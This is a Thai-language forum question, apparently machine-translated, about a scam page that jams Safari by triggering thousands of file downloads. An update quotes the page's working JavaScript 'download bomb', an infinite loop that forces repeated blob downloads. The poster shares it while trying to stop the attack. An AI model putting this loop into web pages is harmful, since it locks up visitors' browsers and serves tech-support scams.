พื้นหลัง
หน้าสแปมใหม่เริ่มปรากฏขึ้นทั่วทั้งไซต์ "ที่น่าสงสัย" (เว็บไซต์ภาพยนตร์ ฯลฯ ) หน้าสแปมใหม่นี้เหมาะกับหมวดหมู่ของการสแกนปลอม, MacKeeper, "คุณมีไวรัส" และหมวดหมู่อื่น ๆ
ปัญหา
ปัญหาของหน้าใหม่นี้คือแทนที่จะมีเพียงป๊อปอัปหน้าจริง ๆ แล้วเริ่มการดาวน์โหลดไฟล์ 2kb แบบสุ่ม (ไม่เป็นอันตรายเพียงแค่มีข้อความสุ่ม) ซ้ำ ๆ ทุก ๆ ~ 1ms โฟลเดอร์ดาวน์โหลดจะเต็มก่อนที่คุณจะสามารถปิดหน้าต่างได้และคุณจะถูกลบไฟล์มากกว่า 1,000 ไฟล์ ซึ่งแตกต่างจากปัญหาที่คล้ายกันซึ่งหน้าสแปมปรากฏกล่องโต้ตอบการพิมพ์มีเวลาน้อยมากที่จะตอบสนอง
การแก้ไขปัญหาล้มเหลว
ฉันพยายามล็อคโฟลเดอร์ดาวน์โหลด ในขณะที่มันป้องกันการดาวน์โหลดจาก ... ดี ... การดาวน์โหลดมันกล่องโต้ตอบ (ดูภาพ) จะปรากฏขึ้น โดยปกติแล้วฉันสามารถยกเลิกกล่องโต้ตอบนี้ได้ แต่เนื่องจากมีการพยายามดาวน์โหลดทุก ๆ ~ 1 มิลลิวินาทีฉันจึงมีกล่องโต้ตอบใหม่ปรากฏขึ้นทุกครั้งที่ฉันพยายามปิดการทำงานทำให้ไม่สามารถปิดหน้าต่างได้
บังคับให้ออกจาก Safari ซึ่งจะหยุดการดาวน์โหลด (หลังจากดาวน์โหลด 1k) แต่หลังจากนั้นฉันก็เปิดหน้าต่างอื่น ๆ ทั้งหมด
การเปลี่ยนการตั้งค่าเป็น 'ถามแต่ละการดาวน์โหลด' ในการตั้งค่า Safari ใช้งานไม่ได้เนื่องจากกล่องโต้ตอบแยก 1k เปิดป้องกันไม่ให้ฉันปิดแท็บได้ หยุดทำงาน Safari ในที่สุด
คำถาม
ฉันจะป้องกันการดาวน์โหลดสแปมใน Safari ได้อย่างไร
UPDATE:
เป็นรหัสที่ทำให้เกิดการดาวน์โหลด (โดยการปิดการใช้งาน JavaScript และค้นหารหัสด้วยตนเอง):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
หมายเหตุ:ฉันมีปัญหาในการใช้งาน JS ในหน้ากำหนดเอง มันแข็งแทนที่จะดาวน์โหลด ฉันสามารถจำลองการดาวน์โหลดโดยใช้setInterval()
ฟังก์ชันเรียกใช้download
ฟังก์ชัน
ข้อมูลเพิ่มเติม: https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/